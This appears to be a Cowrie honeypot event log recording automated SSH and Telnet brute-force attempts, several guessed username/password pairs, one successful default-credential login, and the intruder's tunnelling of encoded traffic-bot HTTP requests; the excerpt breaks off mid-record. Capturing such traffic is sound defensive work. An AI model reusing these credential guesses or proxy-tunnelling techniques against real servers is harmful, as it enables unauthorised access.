{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:28.265760Z","src_ip":"63.141.242.2","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54140,"dst_ip":"159.203.135.109","dst_port":22,"session":"8be0a5b8dee1","protocol":"ssh","message":"New connection: 91.92.40.36:54140 (159.203.135.109:22) [session: 8be0a5b8dee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:28.775488Z"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:30.124840Z","src_ip":"91.92.40.36","session":"759dcffeb3f6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:30.635105Z","src_ip":"91.92.40.36","session":"8be0a5b8dee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:30.657738Z","src_ip":"91.92.40.36","session":"8be0a5b8dee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"gotigers","message":"login attempt [admin/gotigers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:32.206389Z","src_ip":"91.92.40.36","session":"fcc40dc4df09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.27719688415527,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:34.458941Z","src_ip":"172.81.62.90","session":"d2b34278df18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54166,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc04cc0cd34a","protocol":"ssh","message":"New connection: 91.92.40.36:54166 (159.203.135.109:22) [session: bc04cc0cd34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:34.935081Z"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:35.455192Z","src_ip":"91.92.40.36","session":"fcc40dc4df09","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:37.186850Z","src_ip":"91.92.40.36","session":"bc04cc0cd34a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:37.190295Z","src_ip":"91.92.40.36","session":"bc04cc0cd34a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"teamspeak","message":"login attempt [ts/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:41.093435Z","src_ip":"91.92.40.36","session":"8be0a5b8dee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:44.014699Z","src_ip":"91.92.40.36","session":"8be0a5b8dee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22276,"dst_ip":"159.203.135.109","dst_port":22,"session":"15ef15a75210","protocol":"ssh","message":"New connection: 91.92.40.36:22276 (159.203.135.109:22) [session: 15ef15a75210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:44.192703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:46.344748Z","src_ip":"91.92.40.36","session":"15ef15a75210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:46.352448Z","src_ip":"91.92.40.36","session":"15ef15a75210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"54321","message":"login attempt [dspace/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:46.809515Z","src_ip":"91.92.40.36","session":"bc04cc0cd34a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44838,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cc3b8998082","protocol":"ssh","message":"New connection: 91.92.40.36:44838 (159.203.135.109:22) [session: 7cc3b8998082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:49.907272Z"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:50.227213Z","src_ip":"91.92.40.36","session":"bc04cc0cd34a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:53.060544Z","src_ip":"91.92.40.36","session":"7cc3b8998082","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:53.063752Z","src_ip":"91.92.40.36","session":"7cc3b8998082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"54321","message":"login attempt [dev/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:56.512622Z","src_ip":"91.92.40.36","session":"15ef15a75210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57896,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fb9d223b949","protocol":"telnet","message":"New connection: 172.81.62.90:57896 (159.203.135.109:23) [session: 6fb9d223b949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:56.843993Z"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:59.820601Z","src_ip":"91.92.40.36","session":"15ef15a75210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwertyuiop","message":"login attempt [ubuntu/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:01.339075Z","src_ip":"91.92.40.36","session":"7cc3b8998082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:03.170770Z","src_ip":"91.92.40.36","session":"7cc3b8998082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39688,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e7244d5c523","protocol":"ssh","message":"New connection: 91.92.40.36:39688 (159.203.135.109:22) [session: 0e7244d5c523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:03.480694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:04.212171Z","src_ip":"91.92.40.36","session":"0e7244d5c523","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:05.775751Z","src_ip":"91.92.40.36","session":"0e7244d5c523","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":63462,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0ccd8df9361","protocol":"ssh","message":"New connection: 91.92.40.36:63462 (159.203.135.109:22) [session: d0ccd8df9361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:07.879993Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":55648,"dst_ip":"10.17.0.5","dst_port":22,"session":"765e5b68997e","protocol":"ssh","message":"New connection: 123.27.168.40:55648 (10.17.0.5:22) [session: 765e5b68997e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:08.563097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:08.567695Z","src_ip":"123.27.168.40","session":"765e5b68997e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:08.820536Z","src_ip":"123.27.168.40","session":"765e5b68997e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:09.441260Z","src_ip":"91.92.40.36","session":"d0ccd8df9361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:09.457071Z","src_ip":"91.92.40.36","session":"d0ccd8df9361","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:09.987774Z","src_ip":"123.27.168.40","session":"765e5b68997e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:10.368275Z","session":"765e5b68997e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:10.493868Z","session":"765e5b68997e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:19:10.917739Z","src_ip":"123.27.168.40","session":"765e5b68997e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/10.3.2 EdgiOS/90.0.818.39 Mobile/14F89 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QE85SW02NzlOUEh0QntpOA%3D%3DQL%2FH39WaWp0f5s0j5hL%2BAbMViD3vESFELkx2PgJ1AOppXqIb9HLd%2FAEM318zpHMbhgvGxDBTRP6j7mbrg4qVqN%2FddNmx%2BU1tdxQSfeXzV5wvbVea3uZ4C5ME97t%2BlI9npqzaX4ZBkLR%2FvIRLozZlu6WTVXe8BZa2e6bIXpdXp%2FyKhFqQF8GQFq2i9HxMRTbGA4SKo7amLF47e7DOTtUwzoVc9Mg1MBsnHl%2B6eCj92MQ4VTpWnLKYRUasqMPC5K5iJ3NaamsGTmtMpp4BYY1P2PgI2Ly7tcseDWPNqMZNFeCet%2BP46tlVJ%2BqIK6oleCEyQwZZcMFpbjjtabeXvSAh4tNR8mLTqhUoIyMCbVkv4L3iw1v4cUbol4XSAonSVXNhFQuDb4b5wqzYQt3DyIYN6JUvWsHAPnbRcI9vAyXB6Gp4OqBfVRSz9ogDHCBvHdLhCSWbT7koX%2FHvRDziQnWyUfFnU5bOj5cfIGhU1rzHy7V8B7Jy8ozyECEE0gxOBbRXMXrPTVQ6Kv%2F95EEyS7zhjxPuyVvIGcXqhMtyykxLRJOsuM6JTtc14qa4sGVZ%2Buu0%2FjAO8Vl0AzKC%2BHxLLOLd9EuTUv3CijWL41bZFhdZSq86ZIH0jSCyrpoczDJgV2WL9Ac7UR9sImixjQF%2FKpCpG1jQJJfbA3PAe0o3BFzN105c9VGxhiZzPya5gsZJ7NBSIW%2BZrzYNsEbqe709s%2F%2Fvy3llnDjwcym0RV1w8zqCdUueOvgCgABK%2BF8qdSjcYvsBsBqgF54LdzGcvjbueh0uw3zUbWQ4N0RxO%2FtYIjX47zFwSN2lG2LExk8%2FE4eGmnj6P9fFpJAyYebSjJ7hBGjJesBT3iwOsAmeUZpSKeJMUvLc6Y0kY0CSkE1tFT0sAngvhYzdhJzIKsl0zudZrAXGlT7XqsI8RMscsjqu7x63ZflrpKwewiPZjfR5l0Xj2kBHZMZIZh9PmyJ9fdcqFCUigP56TrsbZwhwi8C0QSAiQeZ77nm%2ByXZlpwp9zOMYeUEIEm9dWx9M0MMiolqmvN16Jzjzrkl5TZy6nnYrZB%2BnYdwN9T1nYa25aALMZ1aw2Ijw'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 